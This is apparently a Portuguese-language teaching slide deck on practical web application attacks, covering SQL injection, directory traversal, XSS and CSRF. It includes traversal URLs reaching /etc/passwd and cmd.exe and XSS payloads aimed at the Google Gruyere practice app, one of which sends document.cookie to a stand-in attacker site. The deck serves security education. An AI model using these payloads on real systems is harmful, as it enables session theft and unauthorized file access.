24
Ataques à Aplicações Web - Uma visão prática - Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ [email protected] @cnacorrea

Segurança em Aplicações Web

Embed Size (px)

Citation preview

Page 1: Segurança em Aplicações Web

Ataques à Aplicações Web - Uma visão prática -

Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/

[email protected]

@cnacorrea

Page 2: Segurança em Aplicações Web

Objetivo

• Conhecer, descrever e realizar baseados na Web: roubo de sessões, XSS, XSRF, XSSI.

• Também são apresentados ataques na camada de aplicação: SQL Injection, directory traversal, injeção de comandos, overflows.

Page 3: Segurança em Aplicações Web

Vulnerabilidades da web

Fonte: Projeto OWASP

Page 4: Segurança em Aplicações Web

Information leakage?

• Consultas no Google!

– Podem equivaler a um “nmap da web”

dom:<domínio> ext:<extensão> <string>

Page 5: Segurança em Aplicações Web

SQL Injection

• Em sua forma mais básica, um ataque em que um formulário (ou outra forma de entrada) é preenchido com informações que interferem no fluxo de execução de consultas de um banco de dados

• Frequentemente aplicado em etapas de login. Também é comum que um desenvolvedor, equivocadamente, proteja apenas esta seção de um sistema web contra injeções – quando o correto é que se assegure todo o código.

Page 6: Segurança em Aplicações Web

Exemplo básico

• Isto:

SELECT * FROM Bugs

WHERE bug_id = $_GET['bugid'];

• Pode resultar nesta instrução!

SELECT * FROM Bugs

WHERE bug_id = 1234 OR TRUE;

Page 7: Segurança em Aplicações Web

Um caso pior!

UPDATE Accounts

SET password = SHA2('$password')

WHERE account_id = $account_id;

• Vira...

UPDATE Accounts

SET password = SHA2('xyzzy', admin='1')

WHERE account_id = 1234 OR TRUE

Page 8: Segurança em Aplicações Web

Um caso grave...

http://hmsec.tumblr.com/

Page 9: Segurança em Aplicações Web

Directory traversal

• Tipo de ataque que faz com que uma aplicação web acesse um arquivo não-desejado

• Ocorre quanto um programa do tipo (geralmente um CGI) não trata adequadamente seus parâmetros de entrada

• Se um dos parâmetros indica um nome de arquivo, é possível manipulá-lo para que aponte para arquivos arbitrários no sistema do servidor

Page 10: Segurança em Aplicações Web

Exemplo básico (PHP/Linux)

• Suponha um script que suporte isto:

• http://www.xxx.com/members/seepic.cgi?arq=001.jpg

<?

...

/* le imagem a ser exibida */

arqimg = fopen(“/amadoras/”.$_GET['arq'], “r”);

imagem = fread($handle, filesize($arqimg));

print $imagem;

fclose($arqimg);

?>

Page 11: Segurança em Aplicações Web

Imagine agora este acesso...

http://www.xxx.com/members/seepic.cgi?arq=../../../../../../../../../../etc/passwd

Page 12: Segurança em Aplicações Web

Directory traversal no Windows

• O caractere utilizado como separador de caminhos no Windows é “\”, o que de algum modo particulariza os ataques a esta plataforma

• Não obstante, cada vez mais APIs Windows têm suportado o caractere “/” em diretórios

• Uma vez que sistemas Windows não contam com uma árvore de diretórios unificada, ataques do tipo ficam restritos à partição em que os arquivos sendo “servidos” estiverem localizados

Page 13: Segurança em Aplicações Web

Variantes do ataque (1)

Para evitar detecção por sistemas sensíveis a

parâmetros que possuam caracteres como “/”, alguns ataques usam caminhos codificados

Uma possibilidade é utilizar parâmetros com

codificação de URL:

seepic.cgi?arq=%2e%2e%2f... → (../)

seepic.cgi?arq=%2e%2e%5c... → (..\)

Page 14: Segurança em Aplicações Web

Variantes do ataque (2)

No passado, caracteres da plataforma Windows

também podiam ser especificados por seu código Unicode

Esta é uma codificação universal de 16 bits para

representar símbolos em qualquer linguagem http://address.of.iis5.system/scripts/..%c0%af../winnt/system32

/cmd.exe?/c+dir+c:\

(%c0%af == '/')

(%c1%9c == '\')

Page 15: Segurança em Aplicações Web

XSS – Cross Site Scripting

“Através de um XSS, o Cracker injeta codigos JavaScript em um campo texto de uma página já existente e este JavaScript é apresentado para outros usuários.”

-- Wikipédia

Page 16: Segurança em Aplicações Web

XSRF (ou CSRF)

• Técnica em que o atacante se vale de informações de sessão previamente existentes no browser de um usuário para forjar requisições ou disparar ações nocivas

• Pode ser utilizado como parte de um ataque de XSS (cross-site scripting)

• Geralmente envolve algum tipo de engenharia social ou alguma forma de acesso à vítima

Page 17: Segurança em Aplicações Web

Google Gruyere

• http://google-gruyere.appspot.com/

• Aplicação propositalmente desenvolvida com bugs

• Um “testbed” para experiências em segurança

Page 18: Segurança em Aplicações Web

Google Gruyere

Page 19: Segurança em Aplicações Web

Ataques orientados ao Gruyere

• Básicos

– Cadastrar um item com nome: zezi<a href="lalala">nho</a>

– Ou com o nome: <b>Isto é um teste.</b><a

href="http://www.malvado.com/">link</a>

– Ou ainda: <P class=dev>Point your mouse <A

onmouseover="alert('This is an alert

box!')" href="">here</A></P>

Page 20: Segurança em Aplicações Web

Ataques orientados ao Gruyere

• Internet Explorer 9 (Ago/2011) <a href="http://google-

gruyere.appspot.com/751162075406/snippets.gtl?uid=

<script>alert('SEGURA PEAO')</script>">Este é o

super novo queijo</a>

<a href="http://google-

gruyere.appspot.com/751162075406/snippets.gtl?uid=

<script>window.open('http://www.google.com.br/')</

script>">Este é o super novo queijo</a>

Page 21: Segurança em Aplicações Web

Ataques orientados ao Gruyere

• Começando a ficar sem-graça... <a href="http://google-

gruyere.appspot.com/751162075406/snippets.gtl?uid=

<script>alert(document.cookie)</script>">Este é o

super novo queijo</a>

Page 22: Segurança em Aplicações Web

Ataques orientados ao Gruyere

• Fazendo algo desagradável... <a href="http://google-

gruyere.appspot.com/751162075406/snippets.

gtl?uid=<script>window.open("http://www.pe

godadosdoseubanco.com.br/salva.php?cook="

+ document.cookie)</script>">Este é o

super novo queijo</a>

• Vejamos um exemplo de script para salvar dados...

Page 23: Segurança em Aplicações Web

Ataques orientados ao Gruyere

• Indo além do pedagógico! http://google-gruyere.appspot.com/751162075406/snippets.gtl?uid=%3Ciframe%20src=%22http://www.google.com.br%22%20width=%22100%%22%20height=%22100%%22%3E%3Cp%3EEntrar%20em%20contato%20com%20o%20seu%20banco.%3C/p%3E%3C/iframe%3E

Page 24: Segurança em Aplicações Web

Obrigado!!

Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/

[email protected]

@cnacorrea